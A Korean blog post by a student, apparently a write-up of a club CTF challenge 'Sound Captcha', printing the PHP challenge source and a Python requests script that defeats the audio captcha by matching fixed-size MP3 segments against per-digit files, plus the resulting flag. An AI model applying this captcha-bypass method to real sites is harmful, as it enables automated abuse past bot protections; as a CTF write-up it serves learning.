ABOUT ME

Contact.
Email:yj.anthonyjo@gmail.com
Introduce : CS Student.

Today
-
Yesterday
-
Total
-
  • WRITEUP - SSTF 2020 Sound Captcha(>SCTF 2021)
    보안/WEB 2021. 8. 31. 22:05
    반응형

    올해 보안 동아리 SSG에서 내부 주최한 CTF에 나온 문제이다.

    웹사이트 분석

    기본적인 화면구성은 위와 같았다.

    개발자도구에서 주석처리된 Source 코드를 발견하여 소스코드를 받았다.

    <?php
    
    ini_set("display_errors", 0);
    
    if (isset($_GET['source'])) {
        highlight_file(__FILE__);
        exit();
    }
    
    include_once('flag.php');
    @session_start();
    define('TIME_LIMIT', 20);
    define('NEED_CORRECT', 10);
    
    
    function set_session($key, $val) {
        $_SESSION[$key] = $val;
    }
    function get_session($key) {
        return isset($_SESSION[$key]) ? $_SESSION[$key] : '';
    }
    
    $MSG = '';
    
    function create_new_captcha() {
        $symbols = '0123456789';
        $keystring = '';
        // $length = mt_rand(5,6);
        $length = 6;
        for ($i=0;$i<$length;$i++) {
            $keystring.=$symbols{mt_rand(0,strlen($symbols)-1)};
        }
        return $keystring;
    }
    
    function get_mp3_abspath() {
        $prefix = dirname(__FILE__)."/cache/";
        if (isset($_COOKIE['PHPSESSID'])) {
            return $prefix.md5($_COOKIE['PHPSESSID']).".mp3";
        } else {
            return "";
        }
    }
    function get_mp3_url() {
        $prefix = "./cache/";
        if (isset($_COOKIE['PHPSESSID'])) {
            return $prefix.md5($_COOKIE['PHPSESSID']).".mp3?t=".time().mt_rand(100,999);
        } else {
            return "";
        }
    }
    
    function create_mp3() {
        $filepath = get_mp3_abspath();
        $captcha_val = get_session('captcha_val');
        $captcha_mp3 = get_session('captcha_mp3');
        if ($filepath !== "" && $captcha_val !== $captcha_mp3) {
            @unlink($filepath);
            $mp3_segments = array();
            for($i=0;$i<strlen($captcha_val);$i++) {
                $file = dirname(__FILE__).'/mp3/'.$captcha_val[$i].'.mp3';
                $mp3_segments[] = $file;
            }
            $contents = '';
            foreach($mp3_segments as $segment) {
                $contents .= file_get_contents($segment);
            }
            file_put_contents($filepath, $contents);
    
            // delete old files
            if (rand(0, 99) == 0) {
                foreach(glob(dirname(__FILE__)."/cache/*.mp3") as $file) {
                    // one hour lifetime
                    if (filetime($file) + 60 * 60 < time()) {
                        @unlink($file);
                    }
                }
            }
            set_session('captcha_mp3', $captcha_val);
        }
        return get_mp3_url();
    }
    
    if (!isset($_COOKIE['PHPSESSID'])) {
        exit("No cookie");
    }
    
    if (isset($_POST['captcha_val']) && get_session('captcha_val') != '') {
        if (get_session('captcha_val') == $_POST['captcha_val']) {
            //correct captcha value
            $correct_cnt = get_session('correct_cnt');
            if ($correct_cnt === '0' || $correct_cnt === '') {
                $correct_cnt = '1';
                set_session('submit_time', time());
            }
            $correct_cnt++;
            if (time() > get_session('submit_time') + TIME_LIMIT) {
                //timeout...
                $MSG = 'Timeout!!';
                set_session('correct_cnt', '0');
                set_session('submit_time', '');
            } else {
                set_session('correct_cnt', $correct_cnt);
                $MSG = "Correct Captcha!";
                if ($correct_cnt >= NEED_CORRECT) {
                    $MSG = "Congratulation! Flag is ".FLAG;
                }
            }
        } else {
            //incorrect captcha value
            $MSG = "Incorrect captcha.. Plz retry!";
            set_session('correct_cnt', '0');
            set_session('submit_time', '');
        }
    } else {
        set_session('correct_cnt', '0');
    }
    
    //set new captcha value
    set_session('captcha_val', create_new_captcha());
    ?>
    <!doctype html>
    <html>
        <head>
            <meta charset='utf-8'>
        </head>
        <body>
            <input type="hidden" name="mp3_url" value="<?= create_mp3() ?>" />
            <h1>Captcha value</h1>
    
            <h2><?= get_session('correct_cnt') ?>/<?= NEED_CORRECT ?></h2>
            <?php
                if($MSG !== '') {
                    echo "<h1>$MSG</h1>";
                }
            ?>
            <button id="mp3_play" onclick="playsound()">Sound Play</button>
            <form method="POST">
                <input type="text" name="captcha_val" autofocus />
                <input type="submit" value="Submit" />
            </form>
            <div id='panel'></div>
            <script src="./captcha.js"></script>
            <!--
                <a href="./index.php?source">Source code</a>
            -->
        </body>
    </html>

     

    지금까지 내가 접해온 문제들과 같이 그리고 내가 가지고 있는 취약점 공략에 대한 생각과 같이 처음에는 당연히 위 소수코드 자체에 결함이 있다고 생각했다. 그래서 onclick의 함수도 바꿔보고, 파일이름에 md5가 사용되는 것과, 동일연산자를 보고 magic hash도 생각해보고, 등등 정말 많은 것의 가능성을 생각해보았다.

     

    하지만 풀이전략은,, 다소 brute forcing다웠다.(개념이 그렇다는 것이 아니라, 느낌이..(나타나있는 취약점을 이용하는 것이 아니라, 정석 그대로 빨리 시도해보는 것이 핵심인..))

    오히려 그래서 생각도 못했다. 아니, 생각은 했지만 "아니겠지~"라는 생각이 나를 지배했다.

     

    코드 분석 및 풀이 전략

    몇몇 중요한 부분을 분석해보자.

    function create_mp3() {
        $filepath = get_mp3_abspath();
        $captcha_val = get_session('captcha_val'); //captcha_val : create_new_capcha의 결과.
        $captcha_mp3 = get_session('captcha_mp3'); //captcha_mp3 :현재는 blank
        if ($filepath !== "" && $captcha_val !== $captcha_mp3) { //captcha_val이 captcha_mp3와 같지 않을 때만.
            @unlink($filepath);
            $mp3_segments = array();
            for($i=0;$i<strlen($captcha_val);$i++) {
                $file = dirname(__FILE__).'/mp3/'.$captcha_val[$i].'.mp3'; 
                $mp3_segments[] = $file;
            }
            $contents = '';
            foreach($mp3_segments as $segment) {
                $contents .= file_get_contents($segment);
            }
            file_put_contents($filepath, $contents);
    
            // delete old files
            if (rand(0, 99) == 0) {
                foreach(glob(dirname(__FILE__)."/cache/*.mp3") as $file) {
                    // one hour lifetime
                    if (filetime($file) + 60 * 60 < time()) {
                        @unlink($file);
                    }
                }
            }
            set_session('captcha_mp3', $captcha_val); //captcha_mp3지정, captcha_val과 동일, 단 if문 안에서만.
            //어,, 왜 이 세션값을 사용하는데가 없지? -> 유력후보. 
        }
        return get_mp3_url();
    }

    주석은 무시하자. 이 함수의 작동 순서는 어떻게 되는가?

    1. catpcha_val에 있는 것 한 숫자씩 그에 해당하는 mp3파일을 찾아 읽어온다.
      여기서 우리는 0~9까지의 숫자를 한국말로 발음하는 파일이 있음을 알 수 있다.
    2. 읽어온 값을 이어붙여서 md5(내 sessionid값).mp3에 저장한다. 이 md5는 왜 붙은 것인가.. 이해할 수 없다.
    3. 만들어진 파일이름을 반환하는 get_mp3_url()을 return한다.

    여기서 중요한 것은, 숫자에 해당하는 mp3파일이 있다는 것이다.

    이 mp3파일이 있는 장소로 가보았고 다음 파일목록을 확인했다.

    이제 어떻게 해처나갈 것인가!!!

    1. 내게 들려주는 mp3파일을 찾아서, 그 데이터를 받는다.
    2. 각 숫자를 말하는 부분을 위 숫자.mp3파일과 비교하여 해당 부분의 숫자를 얻는다.
    3. 숫자들을 조합하여 request를 날린다.

    자, 내게 들려주는 mp3파일을 찾아보자.

    <!doctype html>
    <html>
        <head>
            <meta charset='utf-8'>
        </head>
        <body>
            <input type="hidden" name="mp3_url" value="<?= create_mp3() ?>" />
            <h1>Captcha value</h1>
    ...
    ...
    ...

    여기서 mp3_url이 의심스럽다. 

    create_mp3()... 익숙하다. 그렇다! 위에서 분석했던 함수다. 이 함수의 리턴 값은 catpcha_val에 해당하는 mp3파일의 경로, 즉 우리에게 들려주는 mp3파일의 경로이다.

     

    분석은 끝났다. 이제 취약점 공략하는 코드를 작성해보자.

    취약점 공략

    이번 코드를 짜면서 request모듈을 다시 공부했다. 이제껏 웹 관련 활동은 크롤링 외주밖에 없었기에,, request모듈은 등한시 하였었다. 이번에도 bs4를 쓰려고 하다가 동아리 선배가 request모듈로 post날려주면 된다고 하시는 한마디를 듣고 마음을 고처먹었다.

    import requests
    import re
    
    audio = list()
    for i in range(10):
        with open(f'{i}.mp3','rb') as f:
            # tmp = f.read()
            # print(len(tmp)) # 모두 13259의 크기. -> 따로 header찾을 필요 없다.
            audio.append(f.read())
    
    match = lambda target : audio.index(target)
    
    
    
    address = 'http://10.2.0.51/'
    s = requests.Session()
    
    p = re.compile(r'name=".*" value="(.*)\?.*')
    a = s.get(address).text
    a = s.get(address).text
    for i in range(10):
        file = p.findall(a)[0]
        target = requests.get(address+file).content
        num = list()
        for j in range(0, 13259*6, 13259):
            num.append(match(target[j:j+13259]))
        a = s.post(address,data={'captcha_val':''.join([str(k) for k in num])}).text
    
    print(a)

    나는 위 mp3폴더에 있는 것들을 다운로드 받아두었다. 물론! 다운 안 받은 상태에서도 할 수 있기는 하지만, 뭔가 마음이 끌렸다. ...

     

    중간에 s.get(address)가 두번 있는 이유는, PHPSESSID를 받기 위함이다.

    아직 명확한 이유는 모르겠지만, 처음 접속할 때는 session은 열리지만, PHPSESSID는 열리지 않는 것 같다.

     

    세션을 사용하여 유지하기 위해 requests.Session()을 사용하였다.

    https://stackoverflow.com/questions/24260149/python-requests-session-login-cookies

     

    post로 값 전달하는 것은 다음 블로그를 참고했다.

    https://dgkim5360.tistory.com/entry/python-requests

     

    mp3파일을 받는 것은 다음을 참고했다.

    https://stackoverflow.com/questions/39128738/downloading-a-song-through-python-requests/39128806

     

    코드를 실행하고 답을 얻을 수 있었다.

    Congratulation! Flag is SCTF{Y0U_M43T26ED_3OUNDC49TCH4_4ND_L0GIC4L_FL4W}

     

    반응형

    댓글

Designed by Tistory.